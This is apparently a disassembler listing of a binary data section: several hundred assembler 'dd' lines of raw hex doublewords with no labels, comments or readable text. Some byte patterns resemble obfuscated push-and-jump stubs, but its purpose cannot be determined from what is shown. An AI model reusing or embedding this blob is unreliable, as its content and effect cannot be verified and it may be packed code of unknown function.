		dd 0F12468FFh, 82E9060Ch, 68FFFA95h, 60CF3D8h, 0FA9578E9h
		dd 0F4B868FFh, 6EE9060Ch, 0F1FFFA95h, 0FE5CA844h, 462AE3Ch
		dd 765B13Bh, 765B15Bh, 7E68B440h, 0CF551C5Dh, 0D75D2583h
		dd 0D9672D8Bh, 0E06C2F8Dh, 0D7A62194h, 0F0008064h, 419F1AF9h
		dd 38FBCA7Bh, 25F00080h, 0EBCF85D5h, 0D98C18DBh, 22B9B87Bh
		dd 0BE757Bh, 58E35221h,	2C7CF60Ch, 2AB87EDCh, 1F9F8EDAh
		dd 0C1FFCE49h, 36FC1355h, 0DD6433E6h, 1BF00B5Ah, 0FD1DE78h
		dd 4F99CA68h, 34h, 0F4744A6Bh, 752AAA79h, 74D2FC13h, 1E6E21ABh
		dd 6A61D4A3h, 0AEFEF00Bh, 1BCE1EF8h, 0B6AE54Ch,	0C66003F0h
		dd 0CA3BF7B9h, 0DD3799h, 5EBC0000h, 70540A98h, 0D9760BEh
		dd 0AA36F957h, 32017CF7h, 0F60C6703h, 2312E15Ch, 3CF60C67h
		dd 88E69CECh, 228033C1h, 0C01ED15Fh, 0C67544FDh, 97F60C67h
		dd 30ABF747h, 0D0860CD2h, 0C6B2701h, 0AD490CF6h, 5CAC5FE5h
		dd 9F62C00Ch, 85E35E11h, 0BB7E31BFh, 9CC8E775h,	48FE4E43h
		dd 88036559h, 13D9A3B9h, 70BC0CFCh, 0B02B3D81h,	116336E1h
		dd 940F5FFAh, 82035619h, 0AB6EF2B9h, 974D27ABh,	0A2EE7239h
		dd 5EDDAC27h, 0FFF60271h, 0D49BF9AFh, 7495F150h, 0C679B4CCh
		dd 0DB870h, 0DA822F00h,	0E06E308Eh, 0E76D3694h,	0EB913D9Bh
		dd 0F67A419Fh, 5E9FC0AAh, 5FBD0997h, 63C10D97h,	6DCB179Dh
		dd 5FD21EAAh, 8F2615E4h, 5837F000h, 9014DB74h, 9523E644h
		dd 7583571Ah, 8960F5D2h, 4AA387D3h, 0AA79F474h,	0FC13752Ah
		dd 0F5702373h, 9046CE97h, 0B6A7EC1h, 7DD578F0h,	0E8559053h
		dd 8E0E5802h, 5B7638D8h, 0DB699CAh, 3B000001h, 4AB04D78h
		dd 0E14A2C3h, 52F1B4D5h, 0E4F5B8DBh, 4EEC2F5Dh,	0DB74580Eh
		dd 7BD98C18h, 0AE7D30B4h, 0F60C6B9Ah, 0F9AC874Ah, 9709F1EBh
		dd 26C083E1h, 782D260h,	0AC5FFDA9h, 0FC5AA65Ch,	7DF8AB39h
		dd 0BC3F23BAh, 0C1A4EEDh, 0FCBF0FF6h, 0DAA340F1h, 0FF4F9F52h
		dd 4645A49h, 0D9632B89h, 7A30B47Bh, 0E7D430FFh,	0E939FC13h
		dd 545F229Dh, 7B57A33Dh, 4B6AC689h, 0ACAE4EADh,	0A3B707F6h
		dd 44A255F7h, 0EE3EF17Bh, 0F07E409Eh, 229DED3Dh, 0DE5D2CA7h
		dd 7FF00B8Dh, 21D45821h, 0FCCB81D1h, 0FA11E54Eh, 8AE863B3h
		dd 76F13DC3h, 19C276B3h, 0C523B7DDh, 70C07319h,	0F955CBAh
		dd 0CC81E0B0h, 2D8336B4h, 0C85h, 0CB17B562h, 0D11DAB6Dh
		dd 0D622AA73h, 0D622CC78h, 0D723B178h, 0C48BCCEDh, 0CE96F440h
		dd 0D89EFC48h, 0DDA0FE4Ah, 1590034Fh, 8EF746h, 0A58968F0h
		dd 159014DBh, 6768CB9Ah, 0A5F5F60Ch, 8245A3EFh,	711D7BF6h
		dd 0E5C915CBh, 0BC7E18DBh, 0B02B7B2Eh, 0C6752E1h, 6BBB0BF6h
		dd 9975AB8h, 0DB69308Eh, 0E35ED925h, 0C672114h,	38EE3EF6h
		dd 108B11DAh, 0B066ECB2h, 50DC9FFDh, 0A2BA4B04h, 56D14C1Ch
		dd 0D5972FF8h, 0F4449447h, 7D2D6F3Eh, 2272FC13h, 8D929E6Dh
		dd 10AEEB91h, 0DE0EDD58h, 1F0D9E5Ch, 912D1CCFh,	0BE8D5CD7h
		dd 0FF0B9CECh, 13D634AFh, 18DB3985h, 0BEB8AB19h, 5EAEE4E8h
		dd 59AF9BFFh, 0B208BBC3h, 0BBDh, 93DF7D2Ah, 99E57335h
		dd 9EEA723Bh, 9EEA9440h, 9FEB7940h, 8C5394B5h, 965EBC08h
		dd 0A066C410h, 0A568C612h, 0DD58CB17h, 8D2F0Eh,	6D5130F0h
		dd 0C9A60BEh, 0A735F856h, 7A08CE2Ch, 0EC177C7h,	4EC99F1Fh
		dd 137D917Fh, 6AB606FCh, 2BFA437Bh, 0F00B7208h,	0D08309D1h
		dd 0DB56A680h, 0B72290Ch, 96E636F0h, 60DC4C1Bh,	2A88FA14h
		dd 0D929DC62h, 46F94923h, 0C7FC877h, 0B38B2EF6h, 0C34722E4h
		dd 756293h, 0BE7E0000h,	9DE9CAFBh, 0C1770371h, 17CECD2h
		dd 50D8073Eh, 50069F44h, 33FC5AD5h, 0AB24F3A9h,	0FC13ADh
		dd 11D735B0h, 41BC3783h, 0B32C372h, 763E9CF0h, 9DED3DF0h
		dd 10EBFFDAh, 2DE30A27h, 0B2FDD5Eh, 0C587E5F0h,	7E348437h
		dd 0D5A45D20h, 0F00B2F66h, 0DC57A7F7h, 7C2FB57Eh, 0CC2A762Ch
		dd 42058006h, 0AC635010h, 0FF8D5008h, 0F6ACFC4Ch, 0AC3ED43h
		dd 4A090000h, 0AA79F474h, 0FC194E08h, 28B1EDB0h, 87AC88E4h
		dd 8E512497h, 4BA06FCh,	0E45FDA2Ah, 7E31BF86h, 0E6DC5F2Eh
		dd 37FDF000h, 0CCA6F6A9h, 0C919A76Eh, 0BF1D9813h, 9975EF8h
		dd 0B606B9h, 551DFA2h, 0A558E4A7h, 663508B6h, 0F000E6D7h
		dd 6DE83888h, 15CF699Eh, 782D2FAh, 0E5AE6A9h, 0E6723593h
		dd 0CF2DE333h, 0DECD800Ch, 0AF8E5DE0h, 0B0F60C00h, 0C6951060h
		dd 0FC13F0DAh, 89CFB4Bh, 1EAED343h, 0A3B156Bh, 0FFAC0000h
		dd 0F1B3115Dh, 0F0B91763h, 16C2206Ch, 7CE2C78h,	22432D79h
		dd 529E22E9h, 56A22CF4h, 58A432F8h, 5DA937FAh, 9DA06FEAh
		dd 0C2F0008Ch, 0C76AFFE3h, 7BF60C67h, 0DBAA2543h, 0FC194EB6h
		dd 0CB591C7Ah, 3812C818h, 2FF26DE8h, 98B527E2h,	4E106E91h
		dd 7BD0DC0h, 0E5AE6A9h,	0AC5FEDB0h, 870DD331h, 8CDCE2D1h
		dd 0D2DE4211h, 0F747FA1Fh, 0CED11698h, 277D30B4h, 9C1h
		dd 87D37926h, 8DD96729h, 92DE662Fh, 9AE68834h, 0A3EF753Ch
		dd 985F98B9h, 9A62C00Ch, 0A46AC814h, 0B174D21Eh, 0E964D723h
		dd 8B1B1Ah, 816544F0h, 19D60BEh, 0B265B53Bh, 8B4EAC62h
		dd 25A02CEFh, 0C67E756h, 0D82878F6h, 4D04C725h,	0C67BF7Eh
		dd 50A0F6h, 7BD3764Dh, 0C32B6A2Ch, 8B54B293h, 54E0A301h
		dd 189B51A1h, 3C9h, 0C9744A34h,	0C673BFAh, 84D424F6h, 4E213A09h
		dd 8BE9FC19h, 368639C3h, 8648A680h, 0A5F545F8h,	6D09CC2Ah
		dd 0C54B11A5h, 2272C275h, 27B578D6h, 819AA574h,	0AF2AF000h
		dd 815DE0h, 0FCB202F0h,	3CB7B10Dh, 1F9BE36Dh, 85E434FAh
		dd 0B4CE9833h, 0FECE24D7h, 0E9000008h, 0F654A03Ch, 0FC5AA634h
		dd 0FF5DA933h, 0FF5DA953h, 7660AC38h, 0C74D1455h, 0CF551D7Bh
		dd 0D15F2583h, 0D8642785h, 0CF9E198Ch, 0F0008A6Ch, 0DB2E12F1h
		dd 7BD98C18h, 0CC721EB8h, 0DBA3017Ch, 984E9E51h, 0D36B0EE5h
		dd 0C32B02C4h, 3234293h, 6A5E0000h, 0F60C67C7h,	0AA25437Bh
		dd 2BEE8A4Ch, 4A9AEA9Dh, 22E94797h, 0F26DE89Eh,	8F42CC94h
		dd 0D7BA893Fh, 40FC194Eh, 541775F0h, 5B1E7CC8h,	932B1ACDh
		dd 64DF5AD5h, 81A695h, 9867B7F0h, 0F00081A5h, 39B46ABAh
		dd 1F9BE66Ah, 80DF2FFAh, 0B4CE9842h, 56DB31E4h,	91000008h
		dd 9EFC48E4h, 0A4024EDCh, 0A70551DBh, 0A70551FBh, 1E0854E0h
		dd 6FF5BCFDh, 77FDC523h, 7907CD2Bh, 800CCF2Dh, 7746C134h
		dd 0F0008AC4h, 0BED6BA99h, 67C17443h, 581AF60Ch, 0D092F0CAh
		dd 0EF3F8F42h, 8C18DB39h, 54005ED9h, 2CA7F7AAh,	0C67DE5Dh
		dd 792F7FF6h, 19CC581Bh, 1D879F42h, 6760D3A2h, 0ADFDF60Ch
		dd 2A9557F7h, 5AD593C3h, 0F1000002h, 0C67C76Ah,	25437BF6h
		dd 4EFDDBAAh, 0DA2AFC19h, 0B23E015Fh, 0C58DEB66h, 863C8C3Fh
		dd 7C96528h, 55F80206h,	4696D7F0h, 40F34393h, 26ED6D51h
		dd 0ED501F9Ah, 72F000B1h, 0DC57D222h, 0B1A39261h, 6CBCF000h
		dd 5635E7B6h, 1A6AFA1Fh, 0CEBD11BBh, 9CF2A5B4h,	78Dh, 0C30FAD5Ah
		dd 0C915A365h, 0CE1AA26Bh, 0CE1AC470h, 0CF1BA970h, 0BC83C4E5h
		dd 0C68EEC38h, 0D096F440h, 0D598F642h, 0D88FB47h, 89FF3Eh
		dd 9D8160F0h, 0B67E18DBh, 731F7D30h, 0AE2979C9h, 9BFB6CEBh
		dd 43F936F7h, 0E16F3290h, 93F16C2Eh, 0EA4918D1h, 73F60C62h
		dd 7A1DD323h, 0C65215A0h, 3418DA7Ah, 0C5893C3h,	0DD000000h
		dd 762CB87Fh, 18FE392h,	6AFF0000h, 0F60C67CDh, 31003D81h
		dd 0F60C6702h, 40BB0B5Bh, 194E5271h, 0E05BABFCh, 0E531BF82h
		dd 8538C487h, 6A322896h, 0E7B631E4h, 0F0008154h, 1969B909h
		dd 1860239Eh, 0CA435FC0h, 9C400FC5h, 1FA1F74h, 9F8452B1h
		dd 974AB4CEh, 6CC41h, 0CE6E1B00h, 0D4622482h, 0DB612A88h
		dd 0E785318Fh, 0EA763D9Bh, 5A93B49Eh, 63C10D93h, 67C5119Bh
		dd 69C713A1h, 5BCE1AA6h, 882211E0h, 5C3BF000h, 8C18DB78h
		dd 2CB87BD9h, 0D7B3EEB1h, 47C9C3E4h, 791CDE91h,	0C35114A1h
		dd 0D79EFC77h, 9DED8F3Bh, 158547E7h, 18C593C4h,	0E1000000h
		dd 110AFBBEh, 2867D6A5h, 0A8F8F60Ch, 621CA4E5h,	0CF56ACh
		dd 6A720000h, 0F60C67CCh, 0AF2A3E80h, 194ED6E0h, 70EB3BFCh
		dd 0DC34912h, 0E3713492h, 0EA763997h, 0E4764837h, 0C9449422h
		dd 1F665AFAh, 2300C3FAh, 4A9A7417h, 9F41A0F0h, 33B4CF42h
		dd 61B2A80h, 1FCC0000h,	11D3317Dh, 10D93783h, 36E2408Ch
		dd 27EE4C98h, 42634D99h, 72BE4209h, 76C24C14h, 78C45218h
		dd 7DC9571Ah, 7DC08F0Ah, 0E2F00088h, 18DB1F03h,	0B87BD98Ch
		dd 67033201h, 0C5CF60Ch, 6773C291h, 9CECF60Ch, 34D7994Ch
		dd 0BAEFB21Ah, 0FD2ACDF9h, 0F9BC1AD0h, 29A41F6Bh, 0C54DB5Ah
		dd 7E3484F6h, 0C3621CDEh, 75C93h, 0E3780000h, 1Dh, 8C18DBFFh
		dd 2CB87BD9h, 0C45E0179h, 5EAA36F9h, 32BE85E3h,	23792F7Fh
		dd 22h,	8C18DB3Fh, 3A005ED9h, 0F3A9F9ACh, 0C671C24h, 76D073F6h
		dd 6DBB8B4Eh, 8F3C6B8Ah, 2CB87BD9h, 18DBFCE0h, 7D57EA19h
		dd 2D7DF537h, 0A338B7Ah, 0C6CF83Bh, 0B71565F6h,	60B063F1h
		dd 0F4C69510h, 6DFC1945h, 83C910AAh, 0D4242ADEh, 0AC38FB59h
		dd 0B13F0260h, 0B9AF0FFEh, 0CB3A6F3Eh, 2F7FFA15h, 59356B4h
		dd 0DA642C8Ah, 8D5CD727h, 0F60C04AEh, 5DA95FAFh, 0A59867E2h
		dd 36F60C04h, 0BE0EE86Eh, 59E7AA08h, 0FA981BDEh, 8964DFE7h
		dd 8D3120D3h, 0F9160DBh, 98FC13CCh, 1701E948h, 0E295AED3h
		dd 4E88Ch, 0AA52FF00h, 0B03E005Eh, 0B73D0664h, 0BB610D6Bh
		dd 0C64A116Fh, 2E6F907Ah, 2F8DD967h, 3391DD67h,	3D9BE76Dh
		dd 2FA2EE7Ah, 9656E5B4h, 2807F000h, 8C18DB44h, 56F0B311h
		dd 3530694h, 0CA6938B3h, 93F60C67h, 0E3418D43h,	83E19420h
		dd 0BF8134C0h, 9EE28144h, 55FCAFB5h, 9722FC9Fh,	5CFC48D4h
		dd 93C3B19Ah, 4FDAh, 55015F00h,	0FEB404B7h, 0F4744A1Ah
		dd 0B331AA79h, 7EF9FC13h, 0B2C8CAFh, 0CB81D1F0h, 0AB26A1F1h
		dd 9CFA864Dh, 3B994FD5h, 70437C75h, 0D8883214h,	0CC6D3C88h
		dd 11F00BD1h, 1876C24Eh, 793B9952h, 0D1191CEBh,	0F646F00Bh
		dd 329DF3A6h, 0B9000004h, 0C17443BEh, 9EF60C67h, 15A9984Eh
		dd 85EC72E0h, 8352A447h, 0F60CF5B0h, 0BD0D5DADh, 8717342h
		dd 7ECEFC13h, 1EAA6DCBh, 0BB610D6Bh, 59E7AA08h,	0AF872AA6h
		dd 3D15B830h, 0BB723593h, 0BC749ECh, 76C616F0h,	0CEBD73C3h
		dd 2EFD78F0h, 0FA143ABEh, 7463AFFFh, 0D4A31E4Ah, 0FC1308D0h
		dd 45C66A2Dh, 0D3511BB9h, 7FCF820Ah, 820ED12Fh,	0B42F7FCFh
		dd 68CB6A39h, 4494F00Bh, 0B67DDB8Eh, 40E3772Ah,	0F4744AE6h
		dd 0C2FFE79h, 51F00B68h, 1D04B01h, 0FA149583h, 0D331ACFCh
		dd 7ECE810Bh, 0A3017CC8h, 52A255F7h, 0DF7B3E9Ch, 89D98C18h
		dd 5AFC3F0Eh, 1161F60Ch, 0EDB00EC1h, 8D78E51h, 0F60C5A35h
		dd 0C78ADA2Ah, 0E167F030h, 0B57A77Fh, 4BC6A21Ch, 1354447Ch
		dd 0C69510FCh, 0F00B5B77h, 5BC57847h, 4A9AF00Bh, 0C22070h
		dd 0B96FBF72h, 61DC8FDFh, 8A2723E6h, 0B1FF3566h, 0B5A53E2h
		dd 7D490CF0h, 9A8BD0EAh, 5A29DF2Fh, 0F00BB1D7h,	0ECD46E11h
		dd 6830CC8Eh, 8BDB2BDEh, 32D288D8h, 99CB0170h, 476CF5B8h
		dd 3EB6CCA7h, 6241F4C3h, 0CE1EF00Bh, 459518h, 4AB10000h
		dd 7F4EC974h, 0F60C67BCh, 0B38251A1h, 0ACF60C67h, 67D36231h
		dd 3C8CF60Ch, 52219CECh, 0FC137542h, 9D88BDBh, 0F00B6A26h
		dd 76051DC0h, 99CA3BB4h, 0C9F4h, 531B7900h, 7E6CCF9Eh
		dd 0A1F1F00Bh, 0DBB79B51h, 7BD98C18h, 1F7D30B4h, 0BF1DD05Ch
		dd 0A92470FCh, 67DC5F2Eh, 3181F60Ch, 6B9CAC7Bh,	0A265F60Ch
		dd 63B34108h, 6AF6B917h, 47F6C8B7h, 0C64C578h, 0FA4A9AF6h
		dd 88E8B07Fh, 7A3DFC13h, 0DD7866A7h, 3302EFh, 5DF00B4Bh
		dd 7342BD0Dh, 0F00B4BC0h, 0B1FD4D9Dh, 0F16CFCC2h, 113FEC22h
		dd 7AF545FAh, 845C551Ch, 905D93C4h, 4F364830h, 3D8D86EBh
		dd 7C43A1EDh, 865B99F8h, 0FCAFB4CCh, 234A6h, 6606B300h
		dd 6CFABC1Ah, 73F9C220h, 7F1DC927h, 820ED533h, 0F22B4C36h
		dd 0FB59A52Bh, 0FF5DA933h, 15FAB39h, 0F366B23Eh, 948AA978h
		dd 0F4D3F000h, 9014DB10h, 9523E644h, 744A6549h,	83FE79F4h
		dd 0C6781B4h, 0D88EDEF6h, 13758B09h, 521573FCh,	0E63610C6h
		dd 6ADD6433h, 781BF00Bh, 3C0FD1DEh, 0E54F99CAh,	6B000000h
		dd 0D98C18DBh, 36F49B5Eh, 0A97AF183h, 560C5CE0h, 0F0A331F8h
		dd 0C5A0721h, 9B29ECF6h, 0F93E5D20h, 338E8D49h,	0A5D47270h
		dd 44FA6E0Ch, 49D79AF8h, 1AC470CEh, 0FCC2B164h,	5C0F955Eh
		dd 7241BC0Ch, 0FC1381A6h, 0F62B2CEFh, 3390E45Ch, 9D6D2C2Ah
		dd 0BB0B5BF7h, 2A3E806Fh, 0B901E0AFh, 2676FA11h, 0EC864DABh
		dd 97E79A24h, 0D69DFB47h, 7A13EB4Ah, 580BB4CCh,	15402h
		dd 46E69300h, 4CDA9CFAh, 53D9A200h, 5FFDA907h
		dd 62EEB513h, 0D20B2C16h, 0DB39850Bh, 0DF3D8913h, 0E13F8B19h
		dd 0D346921Eh, 93AA8958h, 0D4B3F000h, 9A60BEF0h, 4609590Ch
		dd 0C1205ED7h, 258339B5h, 48535F5Eh, 0BC7E46A2h, 0CA93F16Ch
		dd 6B318F42h, 6F3795E5h, 2CE232E5h, 31BF82E0h, 600C6AE5h
		dd 56480BBEh, 3AE1A115h, 3D21D727h, 0CE8043BEh,	29E0990Bh
		dd 33E45726h, 2EF5F60Ch, 0C278C8A2h, 9813A164h,	77375A1Dh
		dd 0BB980F48h, 0CF349ECh, 852C2DF6h, 8D05FB57h,	0FAAD63B3h
		dd 0D04BD99Ch, 8E1AC30Dh, 0A25871B2h, 11576756h, 25A01B96h
		dd 0CEFE756h, 592878F6h, 0F60CEFDAh, 0DD53383h,	0CE84D487h
		dd 19C647FFh, 0A95CACFCh, 0B0FC884Bh, 4E018F52h, 4334ED7Fh
		dd 3911B421h, 6130E9ACh, 0C142FBD2h, 70EB3B8Bh,	0FB1726F5h
		dd 0F848C142h, 0B87BF642h, 8929F46Eh, 5BB96FC9h, 0FB590C98h
		dd 80B3824Fh, 0DDC14290h, 47C23D8Dh, 4290C578h,	944A9AC1h
		dd 74D24DE1h, 0C35114ACh, 0BD70C010h, 3A14B76Dh, 0E560ECAFh
		dd 3D0CC587h, 0C14290FEh, 9BF0F5Fh, 109C5FBDh, 17075Dh
		dd 118C0000h, 4290F342h, 480E6CC1h, 0DBA76ABAh,	56DA9A04h
		dd 4D866A20h, 8E2EDB69h, 2EBA7DDBh, 0C9571D7Bh,	66F0B816h
		dd 28E55B3h, 0A62AF14Fh, 43E995F3h, 0E3693290h,	8210D230h
		dd 89527ECFh, 1BF57E2h,	0C1350C30h, 0D7F704E7h,	2B21E781h
		dd 0F7817682h, 7A4A2DE3h, 39EEEF81h, 0EF81042Ah, 581FCCD0h
		dd 835FFA01h, 148704EAh, 38685C24h, 89000010h, 9D682414h
		dd 8900003Ch, 6857241Ch, 6950904h, 81243C8Bh, 4C4h, 5E7C100h
		dd 8105E7C1h, 1728EAEFh, 5FFA894Eh, 241C8B54h, 4C481h
		dd 81520000h, 3666242Ch, 438F342Bh, 8438108h, 342B3666h
		dd 51241C8Bh, 0C181E189h, 4, 4C181h, 0C870000h,	34FF5C24h
		dd 0C4815A24h, 4, 0FA85B4E9h, 15A7F9FFh, 66F5D617h, 7C72B62Eh
		dd 0B808B7CCh, 60CF631h, 0E0FFC503h, 406F529h, 34197D69h
		dd 1247AD79h, 4D292420h, 70AAE871h, 1D50816Dh, 24DF7313h
		dd 2B2B7AE8h, 68B36796h, 5AF4F3C8h, 23B166F7h, 350443FDh
		dd 200B9181h, 3594C3DFh, 29AFE197h, 78A6FF1h, 5E0AE884h
		dd 0B285316h, 72ED05BEh, 585D4CFFh, 65C4A87Eh, 15D7BC4Fh
		dd 61E814D2h, 7F843956h, 481E90EBh, 74BBD5CFh, 17DE9h
		dd 0FE5D6000h, 0C2016C4Fh, 0CAD1D76Fh, 7E41EFB4h, 9752E45Bh
		dd 0A3FB6D5Dh, 0B99244FCh, 0D792A59Eh, 0B9E495BCh, 0B2CB0093h
		dd 0ACA3F49Dh, 9EB9FC9Ch, 0C945D200h, 0EE73AFh,	0BA9755FCh
		dd 0E56D599Ch, 0ACFFB2A4h, 57F647FEh, 0CCD4C456h, 7DB5F600h
		dd 9549F78Fh, 0BCFA9753h, 5CCD45C9h, 0E56CA191h, 10000ACh
		dd 43h dup(0)
		dd 0D1F80000h, 0DA43736h, 0F82BD3C2h, 61E94AEFh, 68000010h
		dd 60CFAE8h, 0FB4B17E9h, 0FBF568FFh, 0DE9060Ch,	68FFFB4Bh
		dd 60CFDC5h, 0FB4B03E9h, 0FEBB68FFh, 0F9E9060Ch, 68FFFB4Ah
		dd 60CFFB8h, 0FB4AEFE9h, 0C868FFh, 0E5E9060Dh, 68FFFB4Ah
		dd 60D018Eh, 0FB4ADBE9h, 1F368FFh, 0D1E9060Dh, 68FFFB4Ah
		dd 60D02E7h, 0FB4AC7E9h, 34668FFh, 0BDE9060Dh, 68FFFB4Ah
		dd 60D03FDh, 0FB4AB3E9h, 48F68FFh, 0A9E9060Dh, 68FFFB4Ah
		dd 60D0535h, 0FB4A9FE9h, 69768FFh, 95E9060Dh, 68FFFB4Ah
		dd 60D079Ch, 0FB4A8BE9h, 3F57BFFFh, 212B9A80h, 10F7C62h
		dd 0DDF35C42h, 0BACE381Eh, 842A6BFBh, 6147061Ah, 4026E5F5h
		dd 2107C6D2h, 5BE5A4B6h, 58F845B3h, 59E911Dh, 0D6E8533Ah
		dd 0B1D886Eh, 54BEA44Ch, 795FD840h, 0E380FE0Ch,	1CC46C40h
		dd 0D7BDC736h, 7BF45C6Ah, 624F8FFDh, 62DB9117h,	5E3B8CFAh
		dd 3BA68509h, 0C43D53BCh, 8A0D765Ch, 2D950E1Eh,	29340AA0h
		dd 0D835AEBCh, 0B99FEC42h, 37BF3D4Dh, 0E0224457h, 4077h
		dd 7EE9CF00h, 0D8B046Ch, 25899C42h, 192D977Dh, 60B60371h
		dd 0E35C8B10h, 634FBD65h, 4791176Dh, 0A7F866CEh, 12850952h
		dd 472D95A7h, 9260C8DEh, 278426FCh, 7E10BD91h, 50E0224Ch
		dd 0FBh, 7BE99185h, 8B10602Eh, 0F7DD5BD4h, 6A127A8Ch, 0A107E983h
		dd 62E04378h, 2391127Ch, 4EF69E17h, 10D193E0h, 7C88F68Bh
		dd 7AE260D9h, 0AF172994h, 8D4C5EC9h, 10D6A01Fh,	53BFA58Bh
		dd 74DFC543h, 0BA5420F4h, 33AC7214h, 2C36A58Bh,	9E09EFAEh
		dd 8FA2EF5Dh, 0CF488B10h, 0F66F7BE9h, 7E52F18Eh, 18862ED6h
		dd 8B108FCBh, 0C7AF871h, 9117BFE8h, 0A6E55137h,	95FEB38h
		dd 9F189185h, 46057E21h, 8E369AA9h, 130A7720h, 80EFD58Bh
		dd 278F9B09h, 0E34F35AEh, 79F26BD3h, 717DEBD1h,	0B50E5BC9h
		dd 3BB47EFFh, 0C52F15BDh, 0A20CF2B1h, 50F0DD8Eh, 0C9319579h
		dd 0DA3DFh, 0BBD33B00h,	9DA716FCh, 7D8BF8DEh, 596FD8BEh
		dd 364AB49Ah, 0AEE777h,	0DDC38296h, 0BCA26171h,	9D83424Eh
		dd 0D7612032h, 5A74C12Fh, 811A911Dh, 0D5E953B6h, 1876E16h
		dd 0E706C1D0h, 0DB462CAAh, 9C3F0AC9h, 3D4BB889h, 0C2AE1CC4h
		dd 0A691176Dh, 0BA9E852Dh, 5A1CA8D5h, 38A60E8Ch, 850937E7h
		dd 5F69E552h, 2AC1E3B6h, 0E0C62EA7h, 96F96177h,	23802200h
		dd 172B957Bh, 22B836AFh, 0B9CF9F0Ch, 0CFDFE022h, 14000000h
		dd 2ED6E853h, 67CFD948h, 899F08EEh, 0C22AA821h,	87F172DCh
		dd 19920B73h, 64C443B1h, 208B8B10h, 7F660Eh, 3846B36Ah
		dd 9AA60751h, 105CDF2Ch, 930C858Bh, 0B5333FADh,	93A510F6h
		dd 0A6BF8E2Bh, 49C22A3Ah, 96BA28D0h, 0E591178Ch, 68492FFh
		dd 8E2BEA63h, 856B13BFh, 0E189071Bh, 12D3B973h,	18C0398Bh
		dd 0CB4C832h, 2DABB926h, 9D1E886Eh, 480B52Fh, 65F3FBA2h
		dd 3C273ECh, 2895792Ah,	0C96D6C0h, 0E0480000h, 0B42309C8h
		dd 9805EBAAh, 7CE5CB8Ah, 57C1A766h, 0A1F48443h,	0D08FA30Dh
		dd 0AF6E7EEAh, 904F5BC9h, 6E2D3FAAh, 81CE3CE4h,	27911D5Bh
		dd 0E953C38Eh, 0C53016D5h, 60C91684h, 0F66F8B10h, 43E16F0Fh
		dd 1790B9E8h, 0E9918D58h, 10602E7Bh, 1822918Bh,	0AB16FC75h
		dd 3AB83199h, 6FD7E954h, 349F1E89h, 0C841BA22h,	87D96C09h
		dd 3201E541h, 35DD5629h, 180E27C7h, 92FA7391h, 9A8D324h
		dd 1D31C785h, 0F537A990h, 0C98B2F3Bh, 9723C34Bh, 0AC03E023h
		dd 38000000h, 7D25899Ch, 0A010C296h, 2EAC154Ch,	89F8DE86h
		dd 1F98A412h, 52C03EB7h, 9117860Ah, 1DC52DA6h, 894CCC37h
		dd 2AE6D9DAh, 0ED5B41BAh, 0A4F563E1h, 0F850A56h, 0ACB625A4h
		dd 7BE5CB33h, 0E957FF67h, 850A569Ch, 0D066C942h, 5DF35072h
		dd 4C32D4C1h, 5414E023h, 49000000h, 323CAB91h, 36D351CAh
		dd 5D5E4D17h, 0A18427ACh, 0F2D88028h, 29107884h, 0DD759E6Dh
		dd 0F472EBC0h, 184D2286h, 684EF691h, 327FEDFBh,	0D8850A39h
		dd 583EE65Fh, 0C735DDEBh, 850A397Ah, 0C129A720h, 0A390253h
		dd 0C260F685h, 236731D1h, 711E0h, 4F460000h, 82Ah, 0B8899C84h
		dd 0EDD43C4Ch, 56761BE4h, 3E9628Eh, 660E8797h, 596FD8BEh
		dd 8CFA78F1h, 911DEC00h, 1D03AB24h, 0FBE1A0B2h,	94E14F90h
		dd 0F78503FAh, 9B147C8Ah, 9E067FF8h, 0E68E2201h, 157665FFh
		dd 7018FCC8h, 395B502h,	64E25B85h, 8C514EBCh, 0DE578B10h
		dd 0A4E55036h, 0F69DE936h, 9D168F7Eh, 0E25036DEh, 77258D6h
		dd 0FEE58DF5h, 1F86E5D4h, 36D35122h, 0A513BB17h, 84FE0FB5h
		dd 9E7728A1h, 938F694Ch, 0AC6412Bh, 0B0180000h,	84F3D998h
		dd 68D5BB7Ah, 4CB59B5Ah, 27917736h, 0D1C45413h,	0A05F73DDh
		dd 7F3E4EBAh, 601F2B99h, 3EFD0F7Ah, 519E0CB4h, 0F7911D5Dh
		dd 7ACB935Eh, 2E8B1061h, 250BB31Fh, 8028A6BCh, 1D577612h
		dd 0A412BA91h, 85036857h, 9BAB17FDh, 4DEAA922h,	0E8FA65FEh
		dd 0C559C76Fh, 0F98B105Fh, 86F2D880h, 6A50F876h, 9D45EDFFh
		dd 0F670E22Fh, 910F887Eh, 6F81ECD2h, 0C8DB6A07h, 0F6700D5Ah
		dd 0C13AB37Eh, 0B6037119h, 5C7EF670h, 4FBD65E3h, 8503675Ah
		dd 0EC006A50h, 0EA920B84h, 0DF2C9A42h, 8578E978h, 3DA88E0Ch
		dd 78418EFCh, 36A478E9h, 0A649C22Ah, 640CB42Dh,	97FF157Eh
		dd 7863B01Eh, 960478E9h, 78E97849h, 5AD376EFh, 8DF50B74h
		dd 2FD79614h, 4CCAE049h, 81E9FB66h, 0E978C413h,	0FDD174F8h
		dd 9597E755h, 0CA43FEF0h, 5BF74E19h, 816BD309h,	9D0h, 0CF8EA60Eh
		dd 0B1707AE9h, 91505ECBh, 6D2C42ABh, 4A091D87h,	69D3DBBAh
		dd 44B09655h, 218F7534h, 5705615h, 2AA34F3h, 1D5E4794h
		dd 8954ED91h, 7D25899Ch, 583EFD5h, 33C0F602h, 0F45CD504h
		dd 0F38FFD7Bh, 37911D75h, 0C53016BEh, 0B8250BB3h, 876D2CAAh
		dd 5A20A1Ch, 74E28A26h,	8B107DE4h, 9EF9710h, 3CE48C9Eh
		dd 0F68E81CEh, 30AE277Eh, 0E208B71h, 963A09A6h,	899F08EEh
		dd 0BCD23B21h, 0AF1DC543h, 850385E2h, 2339A288h, 0B25A02AAh
		dd 0E995F744h, 0A6249D78h, 0A61455C0h, 78E99659h, 4E0D86FFh
		dd 83EBFD68h, 0E996C415h, 57C56D78h, 78E9960Ah,	1CB937B0h
		dd 8FFDA509h, 7EF68DB7h, 141E8D73h, 12BA33ACh, 0F0AFC12Ch
		dd 258D9F0Ah, 6109A588h, 0E9965FF3h, 3CA88E78h,	920BAE2Ch
		dd 12BE8D2Ah, 0AB88FC6Ah, 967C72D6h, 3CB51D27h,	3CED12C3h
		dd 7EE67D42h, 8D394h, 8BA30B00h, 6D77E6CCh, 4D5BC8AEh
		dd 293FA88Eh, 61A846Ah,	0D0DEB747h, 0AD935266h,	8C723141h
		dd 6D53121Eh, 0A731F002h, 5F4491FFh, 51EA911Dh,	3DAB9186h
		dd 62CDB331h, 9200A850h, 8B106045h, 8CF472EBh, 0C1293BA6h
